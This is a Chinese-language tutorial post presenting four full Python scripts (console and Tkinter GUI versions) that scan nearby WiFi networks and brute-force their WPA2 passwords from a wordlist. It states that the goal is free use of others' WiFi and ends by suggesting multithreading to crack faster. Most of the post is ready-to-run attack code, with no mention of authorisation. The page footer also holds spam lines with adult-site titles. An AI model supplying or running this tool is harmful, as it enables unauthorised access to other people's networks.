<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Python 暴力破解附近局域網(wǎng) WiFi 密碼

          共 37125字,需瀏覽 75分鐘

           ·

          2021-09-07 07:20

          在下方公眾號(hào)后臺(tái)回復(fù):面試手冊,可獲取杰哥匯總的 3 份面試 PDF 手冊。

          前言

          本文將記錄學(xué)習(xí)下如何通過 Python 腳本實(shí)現(xiàn) WIFI 密碼的暴力破解,從而實(shí)現(xiàn)免費(fèi)蹭網(wǎng)。

          無圖形界面

          先來看看沒有圖形界面版的爆破腳本。

          WIFI爆破

          import pywifi
          from pywifi import const
          import time
          import datetime


          # 測試連接,返回鏈接結(jié)果
          def wifiConnect(pwd):
              # 抓取網(wǎng)卡接口
              wifi = pywifi.PyWiFi()
              # 獲取第一個(gè)無線網(wǎng)卡
              ifaces = wifi.interfaces()[0]
              # 斷開所有連接
              ifaces.disconnect()
              time.sleep(1)
              wifistatus = ifaces.status()
              if wifistatus == const.IFACE_DISCONNECTED:
                  # 創(chuàng)建WiFi連接文件
                  profile = pywifi.Profile()
                  # 要連接WiFi的名稱
                  profile.ssid = "Tr0e"
                  # 網(wǎng)卡的開放狀態(tài)
                  profile.auth = const.AUTH_ALG_OPEN
                  # wifi加密算法,一般wifi加密算法為wps
                  profile.akm.append(const.AKM_TYPE_WPA2PSK)
                  # 加密單元
                  profile.cipher = const.CIPHER_TYPE_CCMP
                  # 調(diào)用密碼
                  profile.key = pwd
                  # 刪除所有連接過的wifi文件
                  ifaces.remove_all_network_profiles()
                  # 設(shè)定新的連接文件
                  tep_profile = ifaces.add_network_profile(profile)
                  ifaces.connect(tep_profile)
                  # wifi連接時(shí)間
                  time.sleep(2)
                  if ifaces.status() == const.IFACE_CONNECTED:
                      return True
                  else:
                      return False
              else:
                  print("已有wifi連接")


          # 讀取密碼本
          def readPassword():
              success = False
              print("****************** WIFI破解 ******************")
              # 密碼本路徑
              path = "pwd.txt"
              # 打開文件
              file = open(path, "r")
              start = datetime.datetime.now()
              while True:
                  try:
                      pwd = file.readline()
                      # 去除密碼的末尾換行符
                      pwd = pwd.strip('\n')
                      bool = wifiConnect(pwd)
                      if bool:
                          print("[*] 密碼已破解:", pwd)
                          print("[*] WiFi已自動(dòng)連接?。?!")
                          success = True
                          break
                      else:
                          # 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
                          print("正在破解 SSID 為 %s 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:%s"%("Tr0e",pwd))
                  except:
                      continue
              end = datetime.datetime.now()
              if(success):
                  print("[*] 本次破解WIFI密碼一共用了多長時(shí)間:{}".format(end - start))
              else:
                  print("[*] 很遺憾未能幫你破解出當(dāng)前指定WIFI的密碼,請更換密碼字典后重新嘗試!")
              exit(0)


          if __name__=="__main__":
              readPassword()

          代碼運(yùn)行效果:

          腳本優(yōu)化

          以上腳本需內(nèi)嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進(jìn)行改造優(yōu)化:

          import pywifi
          import time
          from pywifi import const


          # WiFi掃描模塊
          def wifi_scan():
              # 初始化wifi
              wifi = pywifi.PyWiFi()
              # 使用第一個(gè)無線網(wǎng)卡
              interface = wifi.interfaces()[0]
              # 開始掃描
              interface.scan()
              for i in range(4):
                  time.sleep(1)
                  print('\r掃描可用 WiFi 中,請稍后。。。(' + str(3 - i), end=')')
              print('\r掃描完成!\n' + '-' * 38)
              print('\r{:4}{:6}{}'.format('編號(hào)''信號(hào)強(qiáng)度''wifi名'))
              # 掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對象
              bss = interface.scan_results()
              # 存放wifi名的集合
              wifi_name_set = set()
              for w in bss:
                  # 解決亂碼問題
                  wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
                  wifi_name_set.add(wifi_name_and_signal)
              # 存入列表并按信號(hào)排序
              wifi_name_list = list(wifi_name_set)
              wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
              num = 0
              # 格式化輸出
              while num < len(wifi_name_list):
                  print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
                  num += 1
              print('-' * 38)
              # 返回wifi列表
              return wifi_name_list


          # WIFI破解模塊
          def wifi_password_crack(wifi_name):
              # 字典路徑
              wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:")
              with open(wifi_dic_path, 'r'as f:
                  # 遍歷密碼
                  for pwd in f:
                      # 去除密碼的末尾換行符
                      pwd = pwd.strip('\n')
                      # 創(chuàng)建wifi對象
                      wifi = pywifi.PyWiFi()
                      # 創(chuàng)建網(wǎng)卡對象,為第一個(gè)wifi網(wǎng)卡
                      interface = wifi.interfaces()[0]
                      # 斷開所有wifi連接
                      interface.disconnect()
                      # 等待其斷開
                      while interface.status() == 4:
                          # 當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開
                          pass
                      # 創(chuàng)建連接文件(對象)
                      profile = pywifi.Profile()
                      # wifi名稱
                      profile.ssid = wifi_name
                      # 需要認(rèn)證
                      profile.auth = const.AUTH_ALG_OPEN
                      # wifi默認(rèn)加密算法
                      profile.akm.append(const.AKM_TYPE_WPA2PSK)
                      profile.cipher = const.CIPHER_TYPE_CCMP
                      # wifi密碼
                      profile.key = pwd
                      # 刪除所有wifi連接文件
                      interface.remove_all_network_profiles()
                      # 設(shè)置新的wifi連接文件
                      tmp_profile = interface.add_network_profile(profile)
                      # 開始嘗試連接
                      interface.connect(tmp_profile)
                      start_time = time.time()
                      while time.time() - start_time < 1.5:
                          # 接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測試測正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)暴力破解速度就會(huì)變慢)
                          if interface.status() == 4:
                              print(f'\r連接成功!密碼為:{pwd}')
                              exit(0)
                          else:
                              print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')

          # 主函數(shù)
          def main():
              # 退出標(biāo)致
              exit_flag = 0
              # 目標(biāo)編號(hào)
              target_num = -1
              while not exit_flag:
                  try:
                      print('WiFi萬能鑰匙'.center(35'-'))
                      # 調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表
                      wifi_list = wifi_scan()
                      # 讓用戶選擇要破解的wifi編號(hào),并對用戶輸入的編號(hào)進(jìn)行判斷和異常處理
                      choose_exit_flag = 0
                      while not choose_exit_flag:
                          try:
                              target_num = int(input('請選擇你要嘗試破解的wifi:'))
                              # 如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入
                              if target_num in range(len(wifi_list)):
                                  # 二次確認(rèn)
                                  while not choose_exit_flag:
                                      try:
                                          choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
                                          # 對用戶輸入進(jìn)行小寫處理,并判斷
                                          if choose.lower() == 'y':
                                              choose_exit_flag = 1
                                          elif choose.lower() == 'n':
                                              break
                                          # 處理用戶其它字母輸入
                                          else:
                                              print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                                      # 處理用戶非字母輸入
                                      except ValueError:
                                          print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                                  # 退出破解
                                  if choose_exit_flag == 1:
                                      break
                                  else:
                                      print('請重新輸入哦(*^▽^*)')
                          except ValueError:
                              print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o')
                      # 密碼破解,傳入用戶選擇的wifi名稱
                      wifi_password_crack(wifi_list[target_num][1])
                      print('-' * 38)
                      exit_flag = 1
                  except Exception as e:
                      print(e)
                      raise e


          if __name__ == '__main__':
              main()

          腳本運(yùn)行效果如下:

          上述代碼實(shí)現(xiàn)了依據(jù)信號(hào)強(qiáng)度枚舉當(dāng)前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時(shí)還可靈活指定暴力破解的字典,相對而言體驗(yàn)感提升了不少。進(jìn)一步也可以將上述腳本打包生成 exe 文件,雙擊運(yùn)行效果如下:

          圖形化界面

          下面基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter 優(yōu)化上述腳本,實(shí)現(xiàn)友好的可視化 WIFI 暴力破解界面工具。

          關(guān)于 Tkinter 庫的語法可參見:

          https://www.runoob.com/python/python-gui-tkinter.html

          簡單版UI

          from tkinter import *
          from pywifi import const
          import pywifi
          import time


          # 主要步驟:
          # 1、獲取第一個(gè)無線網(wǎng)卡
          # 2、斷開所有的wifi
          # 3、讀取密碼本
          # 4、設(shè)置睡眠時(shí)間
          def wificonnect(str, wifiname):
              # 窗口無線對象
              wifi = pywifi.PyWiFi()
              # 抓取第一個(gè)無線網(wǎng)卡
              ifaces = wifi.interfaces()[0]
              # 斷開所有的wifi
              ifaces.disconnect()
              time.sleep(1)
              if ifaces.status() == const.IFACE_DISCONNECTED:
                  # 創(chuàng)建wifi連接文件
                  profile = pywifi.Profile()
                  profile.ssid = wifiname
                  # wifi的加密算法
                  profile.akm.append(const.AKM_TYPE_WPA2PSK)
                  # wifi的密碼
                  profile.key = str
                  # 網(wǎng)卡的開發(fā)
                  profile.auth = const.AUTH_ALG_OPEN
                  # 加密單元,這里需要寫點(diǎn)加密單元否則無法連接
                  profile.cipher = const.CIPHER_TYPE_CCMP
                  # 刪除所有的wifi文件
                  ifaces.remove_all_network_profiles()
                  # 設(shè)置新的連接文件
                  tep_profile = ifaces.add_network_profile(profile)
                  # 連接
                  ifaces.connect(tep_profile)
                  time.sleep(3)
                  if ifaces.status() == const.IFACE_CONNECTED:
                      return True
                  else:
                      return False


          def readPwd():
              # 獲取wiif名稱
              wifiname = entry.get().strip()
              path = r'./pwd.txt'
              file = open(path, 'r')
              while True:
                  try:
                      # 讀取
                      mystr = file.readline().strip()
                      # 測試連接
                      bool = wificonnect(mystr, wifiname)
                      if bool:
                          text.insert(END'密碼正確' + mystr)
                          text.see(END)
                          text.update()
                          file.close()
                          break
                      else:
                          text.insert(END'密碼錯(cuò)誤' + mystr)
                          text.see(END)
                          text.update()
                  except:
                      continue


          # 創(chuàng)建窗口
          root = Tk()
          root.title('wifi破解')
          root.geometry('500x400')
          # 標(biāo)簽
          label = Label(root, text='輸入要破解的WIFI名稱:')
          # 定位
          label.grid()
          # 輸入控件
          entry = Entry(root, font=('微軟雅黑', 14))
          entry.grid(row=0, column=1)
          # 列表控件
          text = Listbox(root, font=('微軟雅黑', 14), width=40, height=10)
          text.grid(row=1, columnspan=2)
          # 按鈕
          button = Button(root, text='開始破解', width=20, height=2, command=readPwd)
          button.grid(row=2, columnspan=2)
          # 顯示窗口
          root.mainloop()

          腳本運(yùn)行效果:

          UI升級(jí)版

          以上圖形界面未允許選擇密碼字典,下面進(jìn)行優(yōu)化升級(jí):

          from tkinter import *
          from tkinter import ttk
          import pywifi
          from pywifi import const
          import time
          import tkinter.filedialog  # 在Gui中打開文件瀏覽
          import tkinter.messagebox  # 打開tkiner的消息提醒框


          class MY_GUI():
              def __init__(self, init_window_name):
                  self.init_window_name = init_window_name
                  # 密碼文件路徑
                  self.get_value = StringVar()  # 設(shè)置可變內(nèi)容
                  # 獲取破解wifi賬號(hào)
                  self.get_wifi_value = StringVar()
                  # 獲取wifi密碼
                  self.get_wifimm_value = StringVar()
                  # 抓取網(wǎng)卡接口
                  self.wifi = pywifi.PyWiFi()
                  # 抓取第一個(gè)無線網(wǎng)卡
                  self.iface = self.wifi.interfaces()[0]
                  # 測試鏈接斷開所有鏈接
                  self.iface.disconnect()
                  time.sleep(1)  # 休眠1秒
                  # 測試網(wǎng)卡是否屬于斷開狀態(tài)
                  assert self.iface.status() in \
                         [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

              def __str__(self):
                  # 自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡
                  return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

              # 設(shè)置窗口
              def set_init_window(self):
                  self.init_window_name.title("WIFI破解工具")
                  self.init_window_name.geometry('+500+200')
                  labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下對象都是對于labelframe中添加的
                  labelframe.grid(column=0, row=0, padx=10, pady=10)
                  self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
                  self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord).grid(column=1, row=0)
                  self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)
                  self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
                  self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)
                  self.wifi_text = Label(labelframe, text="WiFi賬號(hào):").grid(column=0, row=2)
                  self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
                  self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)
                  self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
                  self.wifi_labelframe = LabelFrame(text="wifi列表")
                  self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
                  # 定義樹形結(jié)構(gòu)與滾動(dòng)條
                  self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a""b""c""d"))
                  self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
                  self.wifi_tree.configure(yscrollcommand=self.vbar.set)
                  # 表格的標(biāo)題
                  self.wifi_tree.column("a", width=50, anchor="center")
                  self.wifi_tree.column("b", width=100, anchor="center")
                  self.wifi_tree.column("c", width=100, anchor="center")
                  self.wifi_tree.column("d", width=100, anchor="center")
                  self.wifi_tree.heading("a", text="WiFiID")
                  self.wifi_tree.heading("b", text="SSID")
                  self.wifi_tree.heading("c", text="BSSID")
                  self.wifi_tree.heading("d", text="signal")
                  self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
                  self.wifi_tree.bind("<Double-1>"self.onDBClick)
                  self.vbar.grid(row=4, column=1, sticky=NS)

              # 搜索wifi
              def scans_wifi_list(self):  # 掃描周圍wifi列表
                  # 開始掃描
                  print("^_^ 開始掃描附近wifi...")
                  self.iface.scan()
                  time.sleep(15)
                  # 在若干秒后獲取掃描結(jié)果
                  scanres = self.iface.scan_results()
                  # 統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
                  nums = len(scanres)
                  print("數(shù)量: %s" % (nums))
                  # 實(shí)際數(shù)據(jù)
                  self.show_scans_wifi_list(scanres)
                  return scanres

              # 顯示wifi列表
              def show_scans_wifi_list(self, scans_res):
                  for index, wifi_info in enumerate(scans_res):
                      self.wifi_tree.insert(""'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

              # 添加密碼文件目錄
              def add_mm_file(self):
                  self.filename = tkinter.filedialog.askopenfilename()
                  self.get_value.set(self.filename)

              # Treeview綁定事件
              def onDBClick(self, event):
                  self.sels = event.widget.selection()
                  self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

              # 讀取密碼字典,進(jìn)行匹配
              def readPassWord(self):
                  self.getFilePath = self.get_value.get()
                  self.get_wifissid = self.get_wifi_value.get()
                  pwdfilehander = open(self.getFilePath, "r", errors="ignore")
                  while True:
                      try:
                          self.pwdStr = pwdfilehander.readline()
                          if not self.pwdStr:
                              break
                          self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                          if self.bool1:
                              self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)
                              self.get_wifimm_value.set(self.pwdStr)
                              tkinter.messagebox.showinfo('提示''破解成功?。?!')
                              print(self.res)
                              break
                          else:
                              self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)
                              print(self.res)
                          time.sleep(3)
                      except:
                          continue

              # 對wifi和密碼進(jìn)行匹配
              def connect(self, pwd_Str, wifi_ssid):
                  # 創(chuàng)建wifi鏈接文件
                  self.profile = pywifi.Profile()
                  self.profile.ssid = wifi_ssid  # wifi名稱
                  self.profile.auth = const.AUTH_ALG_OPEN  # 網(wǎng)卡的開放
                  self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
                  self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
                  self.profile.key = pwd_Str  # 密碼
                  self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
                  self.tmp_profile = self.iface.add_network_profile(self.profile)  # 設(shè)定新的鏈接文件
                  self.iface.connect(self.tmp_profile)  # 鏈接
                  time.sleep(5)
                  if self.iface.status() == const.IFACE_CONNECTED:  # 判斷是否連接上
                      isOK = True
                  else:
                      isOK = False
                  self.iface.disconnect()  # 斷開
                  time.sleep(1)
                  # 檢查斷開狀態(tài)
                  assert self.iface.status() in \
                         [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
                  return isOK


          def gui_start():
              init_window = Tk()
              ui = MY_GUI(init_window)
              print(ui)
              ui.set_init_window()
              init_window.mainloop()


          if __name__ == "__main__":
              gui_start()

          腳本運(yùn)行效果如下:

          以上基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter,實(shí)際上 Python 的 GUI 編程可以借助 PyQt5 來自動(dòng)生成 UI 代碼。

          相關(guān)教程可參見:

          https://blog.csdn.net/leidawangzi/article/details/110826210

          總結(jié)

          本文學(xué)習(xí)了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎(chǔ)使用。所演示的代碼的不足在于均沒有使用多線程進(jìn)行 WIFI 連接測試,實(shí)際上因?yàn)?WIFI 連接測試需要一定的耗時(shí)(3-5秒),故使用多線程將能減少暴力破解過程的等待時(shí)間。

          推薦閱讀

          超實(shí)用!整理了34個(gè)Python自動(dòng)化辦公庫!


          最強(qiáng) Python 編程神器,真香!


          我用 Python 寫了一款炫酷音樂播放器,想聽啥隨便搜!


          一個(gè)零差評(píng)的 Python 內(nèi)置庫


          我用 Python 寫了一個(gè)疫苗管理系統(tǒng)!

          瀏覽 52
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  五十路AV熟女片 | 青娱乐免费视频在线观看 | 精精品人妻一区二区三区 | 亚洲经点性视频 | 久久久久理论 |